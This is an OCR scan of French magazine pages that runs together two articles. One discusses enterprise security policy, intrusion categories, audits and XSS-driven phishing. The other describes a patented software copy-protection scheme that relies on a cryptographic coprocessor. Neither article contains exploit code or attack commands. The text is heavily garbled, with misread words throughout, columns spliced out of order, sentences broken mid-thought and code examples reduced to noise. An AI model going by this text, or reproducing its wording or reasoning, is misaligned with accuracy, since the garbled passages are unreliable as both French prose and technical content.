annexes representent finalement
un danger réelle pour la confi-
dentialivé des données internes.

dans les utilitaires

Les nouvelles formes de
défense

Avant de repcndre a cette
precedente question, il est
important également de faire
un peint sur les nouvelles fior-
mes d implementation securite
technique, destinees a prote-
ger le reseau. La encore, il y a
eu heureusement bien des
ameéliorations de faites.

La premiere est sans doute |a
prise des conscience des RS|
vis & vis de ces outils. Pendant
longtemps, on a entendu une
ineptie évidente :“maon firewall
me protege de tout !,

Aujourdhui il semble que la
grande majorite des compagnies

processus systéme, mais qui
est difficilement portable pour
assurer |a protection des
autres processus utilisateur.
Linux intégre des systemes de
protection similaires, et meme

Cela est dailleurs aussi vrai
pour les programmes GFL que
pour les programmes proprie-
taires. Il est evident que plus
un programme est nouveau,
plus il est susceptible de

firefox ...}, qui ouvrent la porte
a de nouvelles formes d'arta-
ques, ou augmentent simple-
ment le nombre de failles
potentielles.

5i le nombre de vulnérabilivés a

ont compris qu'a eux seuls, le
firewall et l'antivirus ne peu-
Vent assurer toute la sécurité
necessaire. On a donc vu se
generaliser de nouvelles formes
de protection, principalement
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du type proxy applicatif, avant
tout destinés & protéger le
réseau contre les attaques
Internet directes, et surtout
pour les utilisateurs. Ce type
de passerelle inclut toujours
un antivirus web, mail, des liai-
sons VPN et permet de limiter
Fattaque des utilisateurs par
‘reverse connection” (utilisée
pour outrepasser le firewall).

Encore une fois, les éditeurs
de ce type de logiciels ont
prolifére a une vitesse incroya-
ble cette derniére année, mais
globalement tous ces produits
sont des Linux, utilisant des
services bien connu dans le
monde du libre, et ajoutant un
panneau d'administration pour
la facilité de configuration.
Cela n'en fait toutefois pas des
produits inefficaces, mais il
faut reconnaitre qu'ils limitent
grandement la portée des
attaques depuis Internet.

Par ailleurs, les entreprises
implémentent de plus en plus
une politique de patch manage-
ment, permettant de toujours
sassurer de la mise i jour des
systemes, avant tout pour lutter
contre ['exploiation de vulné-
rabilites de type applicatif.

Une autre restriction souvent
rencontrée, est la limitation
des dreoits des utilisateurs sur
l'acces au réseau et aux infor-
mations. Cela permet notam-

ment de limiter la portée

d'une attaque suite i une
intrusion eventuelle de leur
poste,

Cela étant dit, on peut consi-
dérer avoir établie le profil

general de |a sécurité de beau-
coup d'entreprises
aujourd'hui. Tout autre élé-
ment peut aujourdhui étre
consideré comme un cas par-
ticulier, qui mériterait un arti-
cle a |ui seul.

La question est donc mainte-
nant de savoir si cela est
concrétement efficace pour
lutter contre le vel des infor-
mations !

Les nouvelies formes
d'intrusion

Comme expliqué plus haut,
l'attagque directe de serveurs
est devenu plus complexe,
mais les utilisateurs sont la
pour aider les pirates.

Malgré toutes ces protec-
tions, ce sont d'abord les
applicatifs clients en eux
memes qui permettent d'ou-
trepasser ces protections de
type proxy. Le principe de
base va simplement &tre de
profiter des connexiens auto-
risees en sortie afin de dialo-
guer avec le poste utilisateur
compromis, puis de l'utiliser
comme passerelle sur le reste
du réseau. Bien que ce type
d'attaque ne soit en rien nou-
velle, I"attention se
porte dessus quant on parle
d'intrusion sur un réseau
sécurisé (comme lillustre une
recherche sur les vulneérabili-
tes de IE et Firefox apparues
cette année).

toute

Cn pourrait toutefois se dire
que sur un réseau sur lequel
est appliquée une véritable
politique de patch manage-
ment, et si les applicatifs
clients sont tous configures

avec le niveau de sécurité
requis (pas de Javascript, pas
d'ActiveX ..), ce probléme n'en
est plus un. Malheureusement,
l'apparition systématique de
vulnérabilites sur les naviga-
teurs web (Internet Explorer et
Firefox), qui
maoyenne 4 4 5 jours pour étre
corrigées, va laisser reguliére-
ment, méme a un pirate peu
expérimenté, des fenétres de
temps permet@ant l'intrusion et
l'acces aux informations. Il faut
donc i priori compter sur la
chance, pour qu'un pirate ne
montre pas le bout de son nez
a ce moment la.

De plus, il y a encore de trop
nombreux utilisateurs qui utili-
sent leur stations portables de
chez eux, avec plusieurs utilitai-
res (jeux on line, réseau peer to
peer ..) en dehors du réseau de
F'entreprise (et donc sans béné-
ficier dune quelcongue protec-
tion). Un intrus a ainsi tout |e
loisir de configurer ka machine
de certe victime pour faciliter
son intrusion par la suite; ou
méme, avec de la chance, il
pourrait y trouver directement
les informations qu'il cherche.
Bien sur dans le cadre dun
audit, il n'est pas reellement
possible  d'identifier cette
menace, car elle est hors de
portée dun champ de recher-
che juridiquement légitime, mais
cela, un pirate n'en a cure.

Cet exemple a lui seul ne fait
que mettre en valeur les possi-
bilités d'expleitation encore

mettent en

trop nombreuses permettant
un accés au systéme depuis
Internet. Cela n'inclut méme
pas le fait que la grande majo-
rite des intrusions donnant
lieu 3 un vel dinformations

e
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restent realisées en interne et
sont la cause d'un collabora-
teur. e concentrer sur la sécu-
riteé externe est une chose,
mais la securité des éléments
uniguement accessibles en
interne sont pourtant, sinon
plus, a considérer.

Globalement, il est possible
d'énumérer les grandes caté-
gories relatives i l'intrusion et
au vol d'information (seule ou
en combinant plusieurs, qui
permette de compromettre
laccés aux infermations). Vioir
le tableau ci-contre.

Que faire 2

Il ne s'agit en aucun cas de
dire, n'utilisez plus Internet
Explorer, Firefox, Outlook, etc.
car finalement :

® cela n'effacera en aucun cas
tous les problemes de sécurité,
® |'entreprise a peut étre
besoin, pour ses processus, de
ce type de software,

® méme si certains éléments

représentent plus de risques
que d'autres, Linux ou BSD
n'ont jamais été inviclables.

Ce n'est donc pas un raisonne-
mMent sur un point précis de
Finfrastructure qui va permet-
tre d'assurer cette sécurité, au
mieux, cela fait simplement
gagner quelques points,

D'un autre coté, une entreprise
ne peut se permettre de dépen-
ser des sommes inconsidérées

rien que pour le budget securité.

Cela peut rapidement devenir
le cas si la politique de mana-
gement securité est mal gérée,
et surtout etablie sans objec-
tifs précis. Le budget sécurité
représente en général 3a 10 %




Intrusion et vol d'information

La Fuite d'information : Des informalions sensibles, concernant
les différents éléments du réseou, peuvent &tre obtenues par I'ossoillont
depuis Infernet. Cellesci peuvent peuvent éire techniques (prise d'infermo-
fions sur les serveurs), et publiques par le biais des moteurs de recherche.
La récupération de ces informations est toujours lo premiere phase d'une
infrusion.

L'exploitation de vulnérabilités : Les erreurs durant le dévelop-
pement d'un software ou des poges web dynamigues sont lo principale couse
de vulnérabilité des systémes. Il s'ogit de bogues de progrommation qui peu-
vent étre exploilées par un pirate ofin d'obtenir un occés illagitime sur le sys-
teme cble ef sur le réseau.

La faiblesses de configuration : le mangue de restrictions
dans lu configurafion des systémes et équipements réseaux, ainsi que dans lo
limitation des droits utilisateurs sont également une cause majeure d'intrusion.
Organisationles droits d'nccés oux informafions et aux services applicatifs
duivent &lre définis dans lo politique de management de sécurité informati
que. Des erreurs ou le manque de resped dans l'implémentation technique
de cette politique est pour un intrus un elément déterminant dans lo réussite
de son attogue.

Usurpation d'identité : L'vsurpation de l'identité de divers élé-
ments techniques (systeme, utilisateur, portail de trovail collaboratif ...) peut
permetire @ un ottaquant d'intercepter des informations (codes d'occes ... et
d'accéder @ des ressources qui ne lui sont pos destinges.

Attagues des postes clients ; Les serveurs de productions ne
sont pos les seules dbles. Bien souvent, les postes des colloborateurs seront atio-
qués en priorilé cor ils sont généralement plus vulnerables. L'assaillont ouro
alors fout le loisir, une fois o premiére machine du réseau corrompue, de redir-
ger ses attoques sur d'outres serveurs internes avee moins de resirictions d'necés,

Ingénierie sociale . |l s'ogit de se faire passer pour une personne
appartenant @ lo société ou en relation directe avec elle ofin d'obtenir des
informations confidentielles, et ce por n'importe quel média de communico-
tion, Dans ce type d'ataque, les moyens utilisés ne sont pas technigues, mais
jouent sur les foiblesses du comportement humain, qui reste une faille
majeure quond des modéles de prévention et de suivi de I'informotion n'ont
pas &1 intégrés dans lo polifique orgonisationnelle.

CONTROLE
DE SECURITE

ARCHITECTURE
SECURISEE

presenies,
associees 2 des
degres de gravite.

2) Puis l'analyse des risques
consiste a évaluer la criticité
d'une menace en fonction de
sa probabilite et son impact
(technique et financier).

3) Les érapes precedentes per-
mettront de prendre les deci-
sions necessaires a la definition
de la politique de securite, dans
laquelle sercnt defini les aspects
techniques et les procédures a
respecter et a implémenter,

4) L'implementation d'archi
tecture securisee est alors
organisee, ainsi que sa gestion
au quotidien.

Deux formules sont assé cams-
plementaires pour permettre
aux responsables technigues
et administrateurs de fournir
des

glements de reponse

adaptes 3 ce processus :

L'audit

Ce type dintervention permet
d'identifier les vulnerabilites pré-
sentes en interne, afin de savoir

- F R T
lemrpaded dr Afssnidaline

ANALYSE
DE RISQUES

POLITIQUE DE
SECURITE

3) i
elles permet-

tent l'accés direct oo
indirect

aux informations

confidentielles

Mais également de déterminer
guels sont les processus princi-
paux et secondaires a surveiller.

Linterét de ces informations
est bien sur de corriger ces vul-
nerabilités presentes, mas sur-
tout de savoir comment orien-
ter |'équipe technique pour
quelle puisse travailler sur les
problermatiques ayant un impact
sur les finances de l'entreprise. ||
sagit également de déterminer
quels sont les produits qui
seront les plus performants et
rentables en fonction d'une
nfrastructure donnee.

L'autre interéet de laudit, va
étre de mettre en place une
etude de risque financiere. A

cote de toutes ces procéedures
de sécurité, il existe des assu-
rances et dautres procédure

du budget IT (comprenant | Le processus de securite doit

d'éventuels ingenieurs internes,
les solutions de sécurité soft-
ware | hardware ...). Comment
est-il possible de l'evaluer et
d'optimiser le rendement !

d'abord étre complet defini
autour des élements suivants
{vair schéma, :

1) Le controle de risque permet
denumerer les vulnerabilites

1) si elles sont bien réelles, ou
si il s'agit de faux positifs,

2) si celles ci peuvent étre
exploitées, er sant dangereu-
ses pour le systeme hote et le
réseau,

technigue et non technique,
gui peuvent permettre une
reprise d'activité en un temps
nermalement connu  par
avance. Le calcul a faire est

donc simple : si le colt de
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securisation d'un élément en

particulier est plus chére que
I'impact financier relatif 3 une

intrusion sur cet élément, quel |

est l'intérét d'investir pour sa
sécurité ! |l est toutefois
important de preciser que si
en theorie cette politique
semble adequate, il faut faire
trés attention quant i la réali-
sation de cette étude, et sur-
tout (le plus difficile probable-
ment), estimer toute les
conséquences indirectes du
mangque de sécurité d'un élé-
ment. Prenons un exemple
significatif.

Les vulnérabilités de type XSS
sur le site web de l'entreprise,
qui sont souvent considérées
comme peu critique pour la
securité du site web, et encore
meins pour la sécurité du
réseau interne. |l est vrai que
cela ne permet pas de mettre
en place dattaque directe
contre le sous reseau interne,
Toutefois, quand on parle des
utilisateurs, il faur bien com-
prendre que par définition il
auront ten-
dance a faire confiance a un
element qui provient du site
de l'entreprise, plutét qu'a un
élément présent sur un site
inconnu. Or une faille de type
X55 permet de donner ['illu-
sion a un utilisateur qu'il est en
train de telecharger un docu-
ment ou une

naturellement

information
fourni sur le site web de la

société. Au cours de nos
audits, nous avons pu établir
qu'en moyenne |50 utilisa-
teurs sur 200 tombent dans ce
piege quand un X55 est exploi-
table sur le site web, alors

® gestion risques "sécurité
informatique”

o cert foilles

" » poich monogement
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qu'en moyenne seulement 15
% tombent dans le piege d'un
lien fourni par mail et pointant
sur un site inconnu. Dans le
méme ordre d'idée, avec ce
type d'attaque, 30% des utilisa-
teurs tombent dans le piége,
et renvoient leurs codes d'ac-
cés, via par exemple une ému-
laticn de demande d'authenti-
fication au document propose.
Il est bien sur evident que
toute attaque permettant de
tromper lutlisateur (phishing
), donnent en geénéral des
résultats similaires. On peut
donc considérer donc que ce
type de vulnérabilité 4 un
potentiel diimpact important
pour les postes clients notam-
ment. |l ne reste donc finale-
ment qu'a déterminer la por-
tée d'une intrusion sur les
postes utilisateurs (en fonc-
tion des droits acquis ou pou-
vant étre acquis), par rapport
a l'acces illegitime aux infor-
mations confidentielles et aux

utilitaires de gestion des pro-
L2535,

C'est 4 partir de ces éléments
quil sera possible de détermi-
ner pour chaque faiblesse son

cout, et de le comparer a l'in-
vestissement nécessaire pour
53 correction.

La lormation

Afin de gérer la travail quoti-
dien en terme de securité, et
etre en mesure de determiner
immediatement un &lément en
phase de devenir critique, la
formadon des ingénieurs peut
&tre une option.

En ce qui concerne les utilisa-
teurs, I'approche doit éwre dif-
ferente. On pourrait répéter
10000 fois qulil ne faut pas
auvrir de points .exe, il y aura
toujours des utilisateurs pour
le faire — par exemple le sta-
giaire de passage deux mois et
qui n'a aucune considération
pour ce type de chose. C'est
réellement a l'équipe techni-
que de trouver et d'implémen-
ter les solutions qui serviront
a proteger les utilisateurs.

Toutefois, il y a un autre point
sensible, qui est destingé 3

devenir a terme le futur de la
sécurité informatique. Il s'agit
de tout ce qui se rapproche du
« social engineering ». | s'agit
de toutes les méthodes qui
vont permettre d'usurper une

E—'ﬂ‘

identité en utilisant nimporte
quel media de communication,
pour obtenir une accréditation
sur lacces aux donnée, ou les
dennees elles meme, On arrive
la malheureusement a un point
ou la technologie ne peux plus
grand chose, car on s'attaque
finalement a la plus grande fai-
blesse de [I'entreprise
'homme, et plus particuliére-
ment a ses emotions pour |ui
donner confiance.

5i il est bien sur possible de
mettre en place des procédu-
res complexes pour échapper a
ce genre de situation, il est aussi
indispensable de bien les faire
identifier et comprendre aux
utilisateurs; et surtout de leur
donner les armes pour appren-
dre a ce mefier de toutes
demandes qui pourrait paraitre
suspecte de prime abord.

Conclusion

Cet article avait pour objectif
de vous fournir quelques pis-
tes essentielles sur les points 2
aborder dans la définition de la
politique de management en
securite, sans laquelle il est
guasiment impossible de pou-
voir etablir un processus qui
permettra dassurer a un cer-
rain niveau lintégrité et la
confidentialité des élements. II
ne s'agit bien sur pas d'une
liste exhaustive du processus a
mettre en place, pour laguelle
il existe des formations trés
complétes.
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- Une protection logicielle
Sals Secrets

orsqu'on nous a contacte

pour nous presenter un
systeme de protection de
logiciels contre |a copie, nous
étions tentés de croire 3 une
niéme tentative de ralentir les
« crackers », vouee a |'echec a
plus cu moins long terme. Mais
en y regardant de plus pres,
nous avens decouvert une
approche intéressante, prag-
matique et novatrice par cer-
tains cotes. Meme si les techni-
ques utilisées ne sont pas fon-
damentalement nouvelles, c'est
leur combinaison et surtout
leur utilisation dans un schema
ouvert et sans secret qui est
rafraichissant.

Si vous suivez certe rubrique
reversing (ou si vous avez lu
notre dernier hors série sur le
sujet), vous avez sans doute
remargqué gque nocus parlons
peu des protections récentes.
La legislation en vigueur inter-
dit en effet l'analyse de ce
genre de code, et a fortiori
d'en publier les resultats. Les
editeurs de protection sont

Une société francaise vient de terminer un long travail de
développement et de rédaction de brevets centré sur un
modéle de protection de logiciels, reposant sur des principes
et qui pourtant semble relativement
solide. Pour une fois, nous pouvons vous en parler librement.

publiés et ouverts,

nempeche pas, bien sur, cer-
tains chercheurs d'étudier ces
pratections et de partager
leur découvertes dans des
cercles fermes. Mais sur les
forums publics ocu dans les
publications en général, I'auto-
CENSUre régne.

Il parait pourtant essentiel que
ce type de logiciels puisse faire
I'objet de l'analyse de cher-
cheurs independants. Au dela
des imperatifs economiques
de ces editeurs, que l'on peut
certes comprendre, il est
nécessaire de mettre en avant
les intéréts des utilisateurs.
Ces protections ont pour
vocation de limiter ce gu'on
peut effectivement faire avec
son ordinateur. Le probléme
est qu'il est tres difficile de
borner cette limitation a la
duplication du programme
protégeé ou simplement a
empécher ['utilisation d'une
capie illégale de celui-ci.

bas niveaux, emulation du lec-
teur CD, etc.). Il parait dérai-
sonnable d'accepter cette
intrusion les yeux fermes -
dautant plus qu'il faut payer
pour ¢a ! Une driver de ce
type equivaut en effer, a peu de
choses prés, a une modifica-
tion du noyau, qui se traduit
par un changement du com-
portement du systeme, par
forcement bien localise. En
particulier, un tel driver peut
introduire des problemes de
securite par effet de bord
Peut-on compter sur |'editeur
pour les détecter et les préve-
nir de sa propre initative !

Le systéme de protection dont
il est question dans cet article
possede le double avantage,
pour nous d'étre entiérement
publique (notamment par ce
que des brevets décrivent son
fonctionnement) et pour les
utilisateurs d'&tre non intrusif,

Le chat ou Ia Souris

La protection d'un logiciel
consiste en deux défis. D'une
part, il s'agit de donner une
réalité technique a la licence
d'utilisation achetee avec le
produit — ou en d'autres ter-
mes de reconnaitre une ver-
sion légitime d'une wversion
copiée illegalement. D'autre
part, on veut bien sur empé-
le contournement de
cette mesure.

cher

Protections de hase

Divers moyens d'authentifier un
utilisateur légitime ont été
inventes. Le plus connu est sans
doute l'attribution d'un numéro
de séric avec chaque licence.
Immatérielle, c'est une solution
bon marche mais, comme on a
pu l'étudier a divers reprises, ce
type de protection est en géné-
ral facile a4 contourner — ne
serait-ce qu'en s'echangeant des
numeros de série.

d'ailleurs particulierement ner-
veux 3 ce sujer, et n hesite
generalement pas a engager
des poursuites au maindre
faux pas, pour protéger leurs
intérét commerciaux. Cela

Certaines protections instal-
lent par exemples des drivers
fonctionnant en ring0, c'est-a-
dire au coeur du systéme d'ex-
ploitation, afin de contrer cer-
tains types d'attaques (debuggers

en cela quil n'est pas néces-
saire qu'il influe sur le fonc-
tionnement du systéme en
dehors du programme pro-
tégé. Profitons-en !

L'autre grande classe de pro-
tections repose sur un objet
physigue : cutre les dongles,
petit dispositif electronique
réalisant une fonction difficile a
reverser i connecter sur un
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port de l[ordinateur, les eédi-
teurs distribuent souvent leurs
logiciels sur des supports dote
de proprietés identifiables par
les périphériques standards,
mais difficiles & reproduire
sans un matériel spécial Il y a
quelques années, on utilisait
des pistes magnétiques inhabi-
tuelles sur les disquettes
aujourd'hui ce sont des parti-
cularités optiques obtenues
lors du pressages des CD ou
DVD. Ces protections sont
contournees en émulant ces
propriétés au niveau de I'appli-
cation ou du systéme d'exploi-
tation (schématiquement : en
detournant les APl de gestion
des periphérigues qui vérifient
ces proprietes).

Mais chacune de ces protec-
tion ne peut résister seule a
une attaque generique consis-
tant simplement 3 modifier le
programme pour qu'il consi-
dére que la vérification du
sérial ou de la propriété physi-
que ait toujours un reésultat
positif. Or il est théoriquement
impessible d'empécher cela.
Tout ce que l'on peut faire,
c'est géner le travail d'analyse
necessaire a ce contourne-
ment, afin de retarder la sortie
dun crack dans des delais
commercialement viables
Mous avons pu etudier dans de
précedents numéros diverses
techniques permettant d'em-
pecher ou de dérouter le fonc-
tionnement doutils tels que
debuggers ou desassembleurs.
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camoufler les parties sensi-
bles. On peut aussi utiliser des
couches de cryptage afin de
compliquer |'acces a du code
ou a des données en clair (les
challenges proposés par
Micolas Brulez pour les deux
derniéres éditions du chal-
lenge Securitech, et leurs solu-
tions, donnent une bonne idée
du principe de cette techni-
que).

Machines virtuelles
Actuellement, la plupart des
protections robustes utilisent
en plus une machine virtuelle
(VM pour virtual machine)
pour l'exécution de parties clé
de la protection. On a ainsi un
programme dans le pro-
gramme, et donc un proces-
seur virtuel pour l'exécuter.
Contrairement aux proces-
seurs du commerce ou aux
VM comme celle de Java, il n'y
bien entendu pas de docu-
mentation officielle sur son
fonctionnement. Le compren-
dre, en boite noir, est donc un
prealable nécessaire et trés
couteux en temps pour qui-
conque voudrait étudier une
telle protection, méme en
equipe.

La performance n'étant pas la
premiére priorite, ces VM peu-

vent etre trés obscures et

dotées de wvérification d'inte-
grité ou de contraintes mathe-
matiques difficiles a deviner. Il
est donc particuliérement dif-
ficile d'analyser les parties de
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crackées, directement ou indi-
rectement, car les techniques
de reversing evoluent égale-
ment de leur coté,

Endiess loops

DAEMOM Tools est un logiciel
permettant d'émuler un lec-
teur physigue, & partir d'une
image logique d'un CDROM
(iso). C'est d'abord un outil de
confort, dont un équivalent
simple existe dailleurs sur
toutes les installations de base
de Linux, BSD ou Mac depuis
des années. Ce que ce logiciel
apporte cependant de plus,
c'est que l'émulation du lec-
teur est assez fine pour simu-
ler les particularités physigue
dont nous parlions plus haut.
On peut ainsi tromper certai-
nes protections qui reposent
sur ce principe. Plutét que de
s'attaquer de maniére frontale
a la protection, en modifiant
son compeortement, on  trafi-
que simplement, de l'extérieur,
sa perception des eléements
qu'elle doit vérifier.

Ce genre d'outil - il en existe
quelques autres — est souvent
utilise par les gamers qui, ayant
achete un jeu protégé, veulent
pouvair y jouer sans avoir a
manipuler de CD. Cela permer
d'éviter l'usure, ainsi que le
bruit desagreable de certains
lecteurs mis a 'épreuve par la
protection. Certains observent
meme des gains en perfor-
mance. Yoila pour la version
officielle.

tion, les éditeurs de logiciels
choisissent souvent de renfor-
cer leurs protections afin
d'empecher techniquement de
le faire, au détriment du
confort de beaucoup de leurs
clients,  vraisemblablement
moins nombreux que les «
pirates ...

De la demande a l'offre, les
editeurs de protections doi-
vent quant a eux se mettre i
reverser ces outils afin de pou-
voir les detecter et les contrer.
Ainsi, la derniére version de
startForce, par exemple, sem-
ble résister pour linsant 3
DAEMON Tools = du moins
jusqu'a ce que les dévelop-
peurs de celui-ci trouvent une
maniére de mieux le protéger
contre la détection.

Bref, les roles s'inversent inlas-
sablement - dautant qu'il y a
des interets economiques dans
chaque camp.

six idees de base

Il est difficile de briser ce cer-
cle vicieux. On peut cependant
remarquer que le secret sur
lequel reposent ces protec-
tions en est |'une des causes. Si
I'on part du principe que I'utili-
sateur doit garder le controle
de ce qui s'exécute sur son
ordinateur, il est en effet
impossible de concevoir un
protection credible qui ne sait
obscure et secréte, car quicon-
que a bien campris son fonc-
tionnement peut toujours se
débrouiller pour le détourner.
Une maniére de faire avancer

Beaucoup de protections sant
capables de détecter que le
programme protégé est par
exemple exécuté en mode pas
a pas, et d'en perturber, le cas
echéant, son exécution afin de

la protection exécutée dans la
VM, et encore plus de les
madifier. Cependant, méme si
c'est de plus en plus difficile,
ces mesures de protection
finissent tot ou tard par étre

L'ennui, c'est que cet outil per-
met évidemment de jouer, de
la méme maniére, 3 partir de
copies illegale — ce qui repré-
Sente un manque a gagner réel.
Pour résoudre cette inéqua-

le probléme est de déporter
I'essentiel de la protection
hors du software, donc hors
de portee de |'utilisateur. C'est
du moins ce qu'a choisi de
faire la société qui nous a

——
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contacté, Ce ne sont pas les
premiers a le faire, mais nous
profitons de cette occasion
d'en parler librement.

La clé de leur protection
COMSiSTE en un coprocesseur
générique, extérieur au sys-
téme, ainsi qu'en un ensemble
de techniques combinées per-
mettant de s'en servir de
maniére fiable a4 ce dessein. En
pratique, leur prototype de
démonstration est un petit
peripherique USB sur lequel
s'executent des morceaux
choisis du programme princi-
pal, comme c'est le cas pour
les machines virtuelles dont
nous parlions plus haut. Une
APl permet de charger des
elements de code sur le
coprocesseur, et d'y faire appel
pour exécuter des opérations
cachées.

Afin qu'il ne soit pas possible
d'étudier ou d'interférer avec
ce code déporté, le coproces-
seur implémente quelques pri-
mitives cryptegraphiques
(cablées ou logicielles) et

/
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contient une clé secréte. Ainsi,

| on peut stocker sous forme

chiffrée, dans le logiciel pro-
tégé, le code qui sera exécuté
sur le coprocesseur — il n'ap-
parait donc a aucun moment
en clair dans un espace
controlé  par  l'utilisateur.
Ajoute a cela, diverses techni-
ques rendent trés difficile
I'analyse en boite noir des par-
ties du code executees hors
du PC.

Cn voit que tout repose ainsi

sur la clé secréte : si elle est

compromise, on peut réaliser |

un emulateur remplagant le
coprocesseur. Cela peut parai-
tre comme une faiblesse, mais
de cette maniere, on reduit le
cassage de la protection a
deux pistes principales maitri-
sables : la cryptanalyse et ['at-
taque physique sur le periphe-
rique pour recuperer cette

cle. Or l'algorithme de chiffre- |

ment peut étre judicieuse-
ment choisi, afin qu'il résiste
aux attaques connues, malgré
le type de données assez pre-
visible (principalement des sui-

1. Fonctions élémentaires

Il s'agit de definir, entre autre,
un jeu d'instruction et un pro-
tocole de communication per-

tes d'instructions). Et le type
de puce utilise peut etre aussi
robuste que ceux des cartes
bancaires, par exemple.

Outre ces deux pistes, il ne
reste donc plus comme solu- |
tion que de deviner et reimple-
menter une grande partie du
programme. On va voir que cela
n'est a priori pas trivial du tout.

mettant d'implémenter des
cperations algorithmiques sur
le coprocesseur. Parmi ces ins-
tructions, on comptes celles
qui permettent le transfert des
paramétres et,

dans l'autre

Pvu point de vue du déveleppeur
Pour le développeur, il s'ogit de signaler au compilateur les partie de son code
source qu'il veut protéger. Voici un exemple en (¥ :

g BF SIS EE

On voil que les propriétés en gros definissent des parties de code qui seront compilées
pour be coprocesseur, et donc secrétes. Lo propriété : « ValidyTechnology ProtectField
+ indique gue le chomp doil ére allové dons la mémaire du coprocesseur. Por exem-
ple, le champ _stote est ici un chomp protégé. Linstruction _stole = Stale STATEB, qui
revient @ charger une voleur immédiate dens lo voriable, s'effectue fotolement dons
sur le coprocesseur el opparail dons le progromme prolége comme une instruction
opocue du style exe(0x0123456789ABCDEF) -.

Par défaut le compiloteur alloue également dans le jeton, quand cest possible et
ppportun, les variables qui sont ufilisées dans des colouls relatils au champs pro-
téges, afin qu'il reste difficile de déterminer leurs valeurs par déduction mathé-
matigue, Le développeur peut donc normalement ossumer que lorsqu'un chomp
est déclaré protégé, le compilateur déporte vers le coprocesseur une bonne par-
tie du code et des variables qui I'entourent ofin de rendre vraiment incompréhen

sible toutes les opérations effectuées sur ce champ.

La propriété « YolidyTechnology. ProtectMethod », controirement @ ce que son
nom pourrait lnisser croire, ne sert pas a exécuter |'ensemble de lo méthode en
externe, mais plutit a verrouiller 'appel o cette méthode (protection du grophe
d'oppel). Dans V'exemple, I'oppel de lo méthode A{) est protégé, ce qui signifie
que dans le switch de receive(), l'oppel A{val); ne pourra pos étre déplocé ou sup-
primé. De méme, I'oppel o lo méthode recaive() est aussi protégé, donc receive )

ne pourra jamais ére bypassé ou invaqué hors contexte.
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sens, du résultat de ces opéra-
tions, et bien sir les calculs
(Add, Move, etc.).

On voit dans les figures 60 et
61 du brevet correspondant
comment une fonction F est
decomposées en fonctions
éléementaires fen (c'est 3 dire
en instructions isolées). L'unité
designe par le nombre 6 est le
COProcesseur.

2. Dissociation temporelle

Partant de cette décomposi-
tion en instructions, et si l'on
choisis un ordre judicieux
pour leur exécurion, on peut
faire en sorte que le charge-

ment des paramétres ne soit
pas directement suivi des ope-
rations algorithmiques qui y
correspondent. C'est cette
dissociation temporelle qui
font de l'analyse en boite noire

des parties algorithmiques
exécutées sur le coprocesseur
un vrai cauchemar. ll devient en
effet plus difficile de compren-
dre 4 quels paramétres tels
résultat correspond. On pour-
rait dans certains cas observer
que le chargement de valeurs
particulieres a un endroit du
programme conduit toujours
au retour du méme résultar i
un autre endroit. Cependantsi
les opérations exécutées en
externe dépendent également
de variables contenues
coprocesseur, impossibles a
surveiller, cela devient presque
impossible.

dans

1. Renommage

Afin de compliquer encore la
tache de I'analyste, I'invocation
des instructions est faite de
maniére i brouiller les pistes :
en plus du chiffrement, un systeme

e

 l—
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de renommage permet d'appe-
ler une méme instruction de
plusieurs maniéres différentes.

4. Utilisation des variables

Pour s'assurer qu'une protec-
tien fonctionne (en particulier
un bridage) ou, dans d'autres
contextes, pour s'assurer que
I'utilisateur ne modifie pas cer-
taines données du programme
(pour tricher a un jeu, par
exemple), il faut faire en sorte
que certaines variables, ou une
copie de ces variables, soient
memaorisées sur le coproces-
seur et donc i l'abri d'etre
modifiees.

On voit dans les figures 41 et
43 un échange simple de varia-
bles (Y et Z prennent la valeur
de X), qui ne peut plus avoir
lieu sans la présence du copro-
cesseur. Dans ce cas de figure,
un attaquant pourrait bien sir
maodifier la copie en mémoire
vive de ces valeurs, apreés |'af-
fectation aux variables Y et Z,
et avant qu'elles ne soient utilisées

——\
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dans le programme protégé.

En pratique, cependant, cela
n'est pas aussi simple, comme
I'explique cet extrait du brevet
concernant les variables : « I
est a noter que les transferts
de données entre le systéme
de traitement de données 3 et
'unité & illustrés dans les
exemples qui précédent n'utili-
sent que des affectations sim-
ples mais que I'Homme de
I'Art saura les combiner avec
d'autres operations pour abou-
tir a des opérations complexes
telles que par exemple OUT
vl, 2*X + 3) ou bien Z <-
(5% +v2). » Bien entendu, ces
opérations plus complexes
n'apparaissent pas explicite-
ment. On ne pourra donc pas
intercepter et modifier ces
valeurs sans reconstituer cette
partie algorithmique man-
quante, ce qui nest pas trivial.
Le plus, la valeur de référence
restant inchangée i lintérieur
du coprocesseur, la modifica-
tion d'une valeur va changer le

415
3 FIG. 41
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Tags ct protection mutuelle

Pour défecter les enchoinements inottendus de fonctions élémentaires, cette
profection ufilise un systéme de fogs ojoules aux instrudions du coprocesseur.
Le profotype utilise un jeu de 256 tags (soit 8 bits) qui permet de marguer
les registres en mame lemps qu'on leur assigne une valeur. Lors qu'on fit plus
tard le contenu d'un registre, avec une autre instruction, ont peul ginsi veri-
fier que le tog est conforme  la derniere affectation.

A In compilation, on soit pour chague opéralion sur un regisire dons le code
quelles sont exaclement les instructions précédentes qui ont pu modifier ce
registre en demier. On peut donc vérifier que les togs sont conformes. Lors
qu'ily o plusieurs possibilites {bronchements conditionnels, etc.), on peut spé-
cifier plusieurs tags possibles.

Ui aitaquant ne peut donc pas changer I'ordre d'exéeution des instrudions. |l
ne pourrait méme pos modifier ces togs, puisqu'il foudreil pour celo ovoir
cassé la clé de chiffrement utilisé por le coprocesseur pour décoder el recoder
les instructions.

Voici un exemple. On assigne deux valeurs arbitroires @ deux registres, ginsi
que deux togs (déterminés @ lo compilotion) :

Puis on effeclue une opérations sur ces registres (notation : lo premiére opé-
rande est la destination de I"opération effeciuée sur les suivantes, comme
pour les processeurs RISC) :

. T R -

Avant d'exécuter cette instruction (R1 ;= R1+R2), le coprocesseur vérifie que
les togs des registres R1 et R2 sonl bien tog) et tag2, ce qui ofleste qu'ils ont
bien eté initiolisés lors des deux instructions précédentes. On remarque aussi
que si celle opération n'a pas liew, le registre R1 ne sera pas marqué du tog
newTag, e qui sera détecté lors de lo prochuine opérotion sur ce regisire.
On peut aussi fisser des liens de cette maniére ;

| £ T

Ii RO est filisé comme un fil d'Ariane. Lo premigre instruction MUTCK
(mutual check) vérifie que les togs de RO et R1 sont bien 10 et 11, et le cos
échéont les remploce par 110 et 111, Lo seconde foit pareil, ovec un nouveau
jeu de fags.

On peut alors atre sir que le calcul] ne peut exister sons le caleul? - el inver-
sement - bien qu'ils ne fossent pos intervenir les méme registres. On peut,
avec cette technigue, fabriquer une chaine arbilraire de calculs liés entre eux,
